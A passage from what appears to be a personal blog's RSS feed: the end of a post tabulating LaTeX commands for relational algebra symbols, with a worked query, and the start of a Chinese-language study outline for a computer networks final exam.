<td></td>
</tr>
<tr>
<td>Full Outer Join</td>
<td>全外连接</td>
<td>⟗</td>
<td></td>
</tr>
<tr>
<td>Cartesian product</td>
<td>笛卡尔乘积</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>×</mo></mrow><annotation encoding="application/x-tex">\times</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">×</span></span></span></span></td>
<td><code>\times</code></td>
</tr>
<tr>
<td>Divide</td>
<td>除</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>÷</mo></mrow><annotation encoding="application/x-tex">\div</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">÷</span></span></span></span></td>
<td><code>\div</code></td>
</tr>
<tr>
<td>Assignment</td>
<td>赋值</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>←</mo></mrow><annotation encoding="application/x-tex">\leftarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">←</span></span></span></span></td>
<td><code>\leftarrow</code></td>
</tr>
<tr>
<td>And</td>
<td>条件并列</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∧</mo></mrow><annotation encoding="application/x-tex">\land</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="mord">∧</span></span></span></span></td>
<td><code>\land</code> or <code>\vee</code></td>
</tr>
<tr>
<td>Negation</td>
<td>非</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">¬</mi></mrow><annotation encoding="application/x-tex">\neg</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">¬</span></span></span></span></td>
<td><code>\neg</code></td>
</tr>
<tr>
<td>Exist</td>
<td>存在</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∃</mi></mrow><annotation encoding="application/x-tex">\exists</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">∃</span></span></span></span></td>
<td><code>\exists</code></td>
</tr>
<tr>
<td>For All</td>
<td>对所有</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi></mrow><annotation encoding="application/x-tex">\forall</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">∀</span></span></span></span></td>
<td><code>\forall</code></td>
</tr>
<tr>
<td></td>
<td>下标文字</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>σ</mi><mtext>username</mtext></msub></mrow><annotation encoding="application/x-tex">\sigma_{\text{username}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">username</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
<td><code>_{\text{}}</code></td>
</tr>
<tr>
<td></td>
<td>粗体文字</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi mathvariant="script">G</mi><mtext mathvariant="bold">count(*)</mtext></msub></mrow><annotation encoding="application/x-tex">\mathcal{G}_{\textbf{count(*)}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0385em;vertical-align:-0.3552em;"></span><span class="mord"><span class="mord mathcal" style="margin-right:0.0593em;">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:-0.0593em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord textbf mtight">count(*)</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span></span></span></span></td>
<td><code>\textbf{}</code></td>
</tr>
<tr>
<td></td>
<td>长长长长括号</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="false" stretchy="true" minsize="1.2em" maxsize="1.2em">(</mo><mo fence="false" stretchy="true" minsize="1.8em" maxsize="1.8em">(</mo><mo fence="false" stretchy="true" minsize="2.4em" maxsize="2.4em">(</mo><mo fence="false" stretchy="true" minsize="3em" maxsize="3em">(</mo></mrow><annotation encoding="application/x-tex">\big( \Big( \bigg( \Bigg(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mord"><span class="delimsizing size2">(</span></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord"><span class="delimsizing size4">(</span></span></span></span></span></td>
<td><code>\big( \Big( \bigg( \Bigg(</code></td>
</tr>
<tr>
<td></td>
<td>比较</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>></mo><mo>≥</mo><mo>&#x3C;</mo><mo>≤</mo><mo mathvariant="normal">≠</mo></mrow><annotation encoding="application/x-tex">\gt \ge \lt \le \ne</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mrel">>≥&#x3C;≤</span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span></span></span></span></td>
<td><code>\gt \ge \lt \le \ne</code></td>
</tr>
</tbody>
</table>
<p>一个栗子🌰：</p>
<pre><code class="hljs language-tex" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">c\leftarrow \Pi_{count}\Big(\sigma_{\text{publisher="McGraw-Hill"}}(_{publisher,} \mathcal{G}_{\textbf{count(*) as count}}(books))\Big) \\</div><div class="code-line numbered-code-line" data-line-number="2">t\leftarrow _{name,}\mathcal{G}_{\textbf{count(*) as memcount}}(\sigma_{\text{publisher="McGraw-Hill"}}(member \bowtie borrowed\bowtie books)) \\</div><div class="code-line numbered-code-line" data-line-number="3">\Pi_{name}(\sigma_{\text{memcount=c}}(t))</div></code></pre>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi><mo>←</mo><msub><mi mathvariant="normal">Π</mi><mrow><mi>c</mi><mi>o</mi><mi>u</mi><mi>n</mi><mi>t</mi></mrow></msub><mo fence="false" stretchy="true" minsize="1.8em" maxsize="1.8em">(</mo><msub><mi>σ</mi><mtext>publisher=’McGraw-Hill’</mtext></msub><mo stretchy="false">(</mo><mi mathvariant="normal">_</mi><mrow><mi>p</mi><mi>u</mi><mi>b</mi><mi>l</mi><mi>i</mi><mi>s</mi><mi>h</mi><mi>e</mi><mi>r</mi><mo separator="true">,</mo></mrow><msub><mi mathvariant="script">G</mi><mrow><mtext mathvariant="bold">count(＊)</mtext><mtext> </mtext><mtext mathvariant="bold">as</mtext><mtext> </mtext><mtext mathvariant="bold">count</mtext></mrow></msub><mo stretchy="false">(</mo><mi>b</mi><mi>o</mi><mi>o</mi><mi>k</mi><mi>s</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo fence="false" stretchy="true" minsize="1.8em" maxsize="1.8em">)</mo></mrow><annotation encoding="application/x-tex">c\leftarrow \Pi_{count}\Big(\sigma_{\text{publisher='McGraw-Hill'}}(\_{publisher,} \mathcal{G}_{\textbf{count(＊) as count}}(books))\Big)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.8em;vertical-align:-0.65em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">publisher=’McGraw-Hill’</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord" style="margin-right:0.02778em;">_</span><span class="mord"><span class="mord mathnormal">p</span><span class="mord mathnormal">u</span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.02778em;">er</span><span class="mpunct">,</span></span><span class="mord"><span class="mord mathcal" style="margin-right:0.0593em;">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:-0.0593em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord textbf mtight">count(</span><span class="mord textbf cjk_fallback mtight">＊</span><span class="mord textbf mtight">) as count</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mord mathnormal">oo</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">s</span><span class="mclose">))</span><span class="mord"><span class="delimsizing size2">)</span></span></span></span></span></p>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi><msub><mo>←</mo><mrow><mi>n</mi><mi>a</mi><mi>m</mi><mi>e</mi><mo separator="true">,</mo></mrow></msub><mi mathvariant="script">G</mi><mi mathvariant="normal">_</mi><mrow><mtext mathvariant="bold">count(＊)</mtext><mtext> </mtext><mtext mathvariant="bold">as</mtext><mtext> </mtext><mtext mathvariant="bold">memcount</mtext></mrow><mo stretchy="false">(</mo><msub><mi>σ</mi><mtext>publisher=’McGraw-Hill’</mtext></msub><mo stretchy="false">(</mo><mi>m</mi><mi>e</mi><mi>m</mi><mi>b</mi><mi>e</mi><mi>r</mi><mo>⋈</mo><mi>b</mi><mi>o</mi><mi>r</mi><mi>r</mi><mi>o</mi><mi>w</mi><mi>e</mi><mi>d</mi><mo>⋈</mo><mi>b</mi><mi>o</mi><mi>o</mi><mi>k</mi><mi>s</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">t \leftarrow_{name,} \mathcal{G}\_{\textbf{count(＊) as memcount}} (\sigma_{\text{publisher='McGraw-Hill'}}(member \bowtie borrowed\bowtie books))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9012em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">←</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">nam</span><span class="mord mathnormal mtight">e</span><span class="mpunct mtight">,</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.06em;vertical-align:-0.31em;"></span><span class="mord mathcal" style="margin-right:0.0593em;">G</span><span class="mord" style="margin-right:0.02778em;">_</span><span class="mord"><span class="mord text"><span class="mord textbf">count(</span><span class="mord textbf cjk_fallback">＊</span><span class="mord textbf">) as memcount</span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">publisher=’McGraw-Hill’</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">mb</span><span class="mord mathnormal" style="margin-right:0.02778em;">er</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⋈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6994em;vertical-align:-0.005em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">orro</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⋈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">oo</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">s</span><span class="mclose">))</span></span></span></span></p>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi mathvariant="normal">Π</mi><mrow><mi>n</mi><mi>a</mi><mi>m</mi><mi>e</mi></mrow></msub><mo stretchy="false">(</mo><msub><mi>σ</mi><mtext>memcount=c</mtext></msub><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Pi_{name}(\sigma_{\text{memcount=c}}(t))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">nam</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">memcount=c</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">))</span></span></span></span></p>
<!-- PS. [Database System 6E Solutions.](https://billc.oss-cn-shanghai.aliyuncs.com/file/Database%20System%206E%20Solutions.zip) -->  
<!--
<a class="btn" href="google.com"><i class="fab fa-google fa-fw fa-spin"></i>Hello, Google</a>

<i class="fa fa-user fa-fw"></i> -->]]></description>
            <link>https://jtchen.io/blog/latex-relational-algebra</link>
            <guid isPermaLink="false">latex-relational-algebra</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Wed, 15 Apr 2020 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[计算机网络 Computer Network 期末复习总提纲]]></title>
            <description><![CDATA[<blockquote>
<p>平时不学习，期末火葬场。</p>
<p>一周时间靠王道考研和各路 pdf 自学计网，留下的提纲都在这里了。</p>
</blockquote>
<h3 id="目录"><a href="#目录">目录</a></h3>
<ul>
<li><a href="#chapter-1-overview">Chapter 1 Overview</a>
<ul>
<li><a href="#%E6%A6%82%E5%BF%B5%E5%92%8C%E7%BB%84%E6%88%90">概念和组成</a>
<ul>
<li><a href="#%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%E7%9A%84%E5%8A%9F%E8%83%BD">计算机网络的功能</a></li>
<li><a href="#%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%E7%9A%84%E7%BB%84%E6%88%90">计算机网络的组成</a></li>
<li><a href="#%E5%88%86%E7%B1%BB">分类</a></li>
</ul>
</li>
<li><a href="#%E6%A0%87%E5%87%86%E5%8C%96">标准化</a>
<ul>
<li><a href="#%E6%A0%87%E5%87%86%E5%8C%96%E7%9B%B8%E5%85%B3%E5%B7%A5%E4%BD%9C">标准化相关工作</a></li>
<li><a href="#%E7%BB%84%E7%BB%87">组织</a></li>
</ul>
</li>
<li><a href="#%E4%BC%A0%E8%BE%93%E6%8C%87%E6%A0%87">传输指标</a></li>
<li><a href="#%E5%88%86%E5%B1%82%E7%BB%93%E6%9E%84">分层结构</a></li>
<li><a href="#%E9%80%9A%E7%94%A8%E5%88%86%E5%B1%82%E6%A8%A1%E5%9E%8B">通用分层模型</a>
<ul>
<li><a href="#osi">OSI</a></li>
<li><a href="#tcpip">TCP/IP</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#chaper-2-physical-layer">Chaper 2 Physical Layer</a>
<ul>
<li><a href="#%E9%80%9A%E4%BF%A1%E5%9F%BA%E7%A1%80">通信基础</a>
<ul>
<li><a href="#%E4%B8%80%E4%BA%9B%E6%A6%82%E5%BF%B5">一些概念</a></li>
</ul>
</li>
<li><a href="#%EF%B8%8F-%E5%A5%88%E6%B0%8F%E5%87%86%E5%88%99%E5%92%8C%E9%A6%99%E5%86%9C%E5%AE%9A%E7%90%86">⭐️ 奈氏准则和香农定理</a>
<ul>
<li><a href="#%E5%A4%B1%E7%9C%9F">失真</a></li>
<li><a href="#%E5%A5%88%E6%B0%8F%E5%87%86%E5%88%99%E5%A5%88%E5%A5%8E%E6%96%AF%E7%89%B9%E5%AE%9A%E7%90%86-nyquists-theorem">奈氏准则（奈奎斯特定理）/ Nyquist's Theorem</a></li>
<li><a href="#%E9%A6%99%E5%86%9C%E5%AE%9A%E7%90%86--shannons-theorem">香农定理 / Shannon's Theorem</a></li>
</ul>
</li>
<li><a href="#%EF%B8%8F-%E7%BC%96%E7%A0%81%E4%B8%8E%E8%B0%83%E5%88%B6">⭐️ 编码与调制</a></li>
<li><a href="#%E7%89%A9%E7%90%86%E8%AE%BE%E5%A4%87">物理设备</a>
<ul>
<li><a href="#%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8">传输介质</a></li>
<li><a href="#%E7%89%A9%E7%90%86%E5%B1%82%E8%AE%BE%E5%A4%87">物理层设备</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#chapter-3-data-link-layer">Chapter 3 Data Link Layer</a>
<ul>
<li><a href="#overview">Overview</a>
<ul>
<li><a href="#%E4%B8%80%E4%BA%9B%E6%A6%82%E5%BF%B5-1">一些概念</a></li>
</ul>
</li>
<li><a href="#-%E6%88%90%E5%B8%A7">⭐ 成帧</a></li>
<li><a href="#%EF%B8%8F-%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6">⭐️ 差错控制</a></li>
<li><a href="#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6%E4%B8%8E%E5%8F%AF%E9%9D%A0%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE">流量控制与可靠传输协议</a>
<ul>
<li><a href="#background">Background</a></li>
<li><a href="#%E5%81%9C%E6%AD%A2-%E7%AD%89%E5%BE%85%E5%8D%8F%E8%AE%AE--stop-wait-protocol">停止-等待协议 / Stop-Wait Protocol</a></li>
<li><a href="#%E5%9B%9E%E9%80%80-n-%E5%8D%8F%E8%AE%AE--go-back-n-protocol">回退 N 协议 / Go Back N Protocol</a></li>
<li><a href="#%E9%80%89%E6%8B%A9%E9%87%8D%E4%BC%A0%E5%8D%8F%E8%AE%AE--selectve-repeat-protocol">选择重传协议 / Selectve Repeat Protocol</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#chapter-4-media-access-control">Chapter 4 Media Access Control</a>
<ul>
<li><a href="#%E4%B8%80%E4%BA%9B%E6%9C%AF%E8%AF%AD">一些术语</a></li>
<li><a href="#%E4%B8%80%E4%BA%9B%E6%A6%82%E5%BF%B5-2">一些概念</a></li>
<li><a href="#%E9%9D%99%E6%80%81%E4%BF%A1%E9%81%93%E5%88%92%E5%88%86%E6%96%B9%E5%BC%8F">静态信道划分方式</a></li>
<li><a href="#%E5%8A%A8%E6%80%81%E4%BF%A1%E9%81%93%E5%88%92%E5%88%86%E6%96%B9%E5%BC%8F">动态信道划分方式</a></li>
<li><a href="#%E5%85%B7%E4%BD%93%E5%BA%94%E7%94%A8">具体应用</a>
<ul>
<li><a href="#%E5%B1%80%E5%9F%9F%E7%BD%91">局域网</a></li>
<li><a href="#%EF%B8%8F-%E4%BB%A5%E5%A4%AA%E7%BD%91">⭐️ 以太网</a></li>
<li><a href="#%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91"><em>无线局域网</em></a></li>
</ul>
</li>
<li><a href="#%E9%93%BE%E8%B7%AF%E5%B1%82%E8%AE%BE%E5%A4%87">链路层设备</a></li>
</ul>
</li>
<li><a href="#chapter-5-network-layer">Chapter 5 Network Layer</a>
<ul>
<li><a href="#%E6%95%B0%E6%8D%AE%E6%8A%A5%E6%96%87%E4%BA%A4%E6%8D%A2">数据报文交换</a>
<ul>
<li><a href="#%E7%94%B5%E8%B7%AF%E4%BA%A4%E6%8D%A2">电路交换</a></li>
<li><a href="#%E6%8A%A5%E6%96%87%E4%BA%A4%E6%8D%A2">报文交换</a></li>
<li><a href="#%E5%88%86%E7%BB%84%E4%BA%A4%E6%8D%A2">分组交换</a></li>
<li><a href="#%E6%95%B0%E6%8D%AE%E6%8A%A5%E5%9B%A0%E7%89%B9%E7%BD%91%E4%BD%BF%E7%94%A8">数据报（因特网使用）</a></li>
<li><a href="#%E8%99%9A%E7%94%B5%E8%B7%AF%E6%96%B9%E5%BC%8F">虚电路方式</a></li>
</ul>
</li>
<li><a href="#%EF%B8%8F-%E8%B7%AF%E7%94%B1%E7%AE%97%E6%B3%95">⭐️ 路由算法</a>
<ul>
<li><a href="#rip-%E8%B7%9D%E7%A6%BB%E7%9F%A2%E9%87%8F%E8%B7%AF%E7%94%B1">RIP 距离矢量路由</a></li>
<li><a href="#%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E8%B7%AF%E7%94%B1">链路状态路由</a></li>
<li><a href="#%E9%80%86%E5%90%91%E8%B7%AF%E5%BE%84%E8%BD%AC%E5%8F%91">逆向路径转发</a></li>
<li><a href="#%E7%94%9F%E6%88%90%E6%A0%91%E7%AE%97%E6%B3%95">生成树算法</a></li>
<li><a href="#%E8%BE%B9%E7%95%8C%E7%BD%91%E5%85%B3-bgp">边界网关 BGP</a></li>
</ul>
</li>
<li><a href="#ip--internet-protocol">IP / Internet Protocol</a>
<ul>
<li><a href="#%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F">报文格式</a></li>
<li><a href="#ipv4-%E5%9C%B0%E5%9D%80">IPv4 地址</a></li>
</ul>
</li>
<li><a href="#%E5%85%B6%E4%BB%96%E5%8D%8F%E8%AE%AE">其他协议</a></li>
<li><a href="#%E7%BD%91%E7%BB%9C%E5%B1%82%E8%AE%BE%E5%A4%87">网络层设备</a></li>
</ul>
</li>
<li><a href="#chapter-6-transport-layer">Chapter 6 Transport Layer</a>
<ul>
<li><a href="#udp-%E5%8D%8F%E8%AE%AE">UDP 协议</a></li>
<li><a href="#tcp-%E5%8D%8F%E8%AE%AE%E7%89%B9%E7%82%B9">TCP 协议特点</a></li>
<li><a href="#tcp-%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F">TCP 报文格式</a></li>
<li><a href="#star-tcp-%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5">:star: TCP 建立连接</a></li>
<li><a href="#tcp-%E8%BF%9E%E6%8E%A5%E9%87%8A%E6%94%BE">TCP 连接释放</a></li>
<li><a href="#tcp-%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6">TCP 差错控制</a></li>
<li><a href="#tcp-%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6">TCP 流量控制</a></li>
<li><a href="#tcp-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6">TCP 拥塞控制</a></li>
</ul>
</li>
</ul>
<h1 id="chapter-1-overview"><a href="#chapter-1-overview">Chapter 1 Overview</a></h1>
<p><strong>7 - layer OSI Model</strong></p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073614.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073614.jpg" alt="img" loading="lazy" data-wrapped="true"></a></p>
<ul>
<li>计算机网络：将分散的，具有独立功能的计算机系统通过通信设备与线路连接起来有完整的软件实现<strong>资源共享</strong>和<strong>信息传递</strong></li>
<li>计算机网络是<strong>互联</strong>的，<strong>自治</strong>的</li>
</ul>
<h2 id="概念和组成"><a href="#概念和组成">概念和组成</a></h2>
<h3 id="计算机网络的功能"><a href="#计算机网络的功能">计算机网络的功能</a></h3>
<ul>
<li>数据通信
<ul>
<li>数据在信道上的传输</li>
</ul>
</li>
<li>资源共享
<ul>
<li>硬件、软件和数据</li>
</ul>
</li>
<li><em>分布式处理</em>
<ul>
<li>多台计算机共同处理同一个任务</li>
</ul>
</li>
<li>提高可靠性</li>
<li>负载均衡（多台计算机可以更亲密的沟通）</li>
</ul>
<h3 id="计算机网络的组成"><a href="#计算机网络的组成">计算机网络的组成</a></h3>
<ul>
<li>硬件、软件、协议</li>
<li>工作方式 - 边缘部分、核心部分</li>
<li>功能组成 - 通信子网（OSI 下三层通信子网）、资源子网网（上三层的处理）
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073615.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073615.jpg" alt="image-20200106161512400" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
</ul>
<h3 id="分类"><a href="#分类">分类</a></h3>
<ul>
<li>广域网 WAN、城域网 MAN、局域网 WAN、个人区域网 PAN</li>
<li>按照使用者分类：公用网、专用网（军队、政府、铁路、公安）</li>
<li>按照交换技术：电路交换、报文交换、分组交换</li>
<li>按照拓补结构分：
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073616.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073616.jpg" alt="image-20200106161659522" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
<li>按传输方式：广播式、点对点</li>
</ul>
<h2 id="标准化"><a href="#标准化">标准化</a></h2>
<h3 id="标准化相关工作"><a href="#标准化相关工作">标准化相关工作</a></h3>
<ul>
<li>法定标准：Eg. OSI</li>
<li>事实标准：Eg. TCP/IP</li>
<li>指定标准的流程：
<ul>
<li><strong>RFC</strong> (Request For Comments)：经过四个阶段</li>
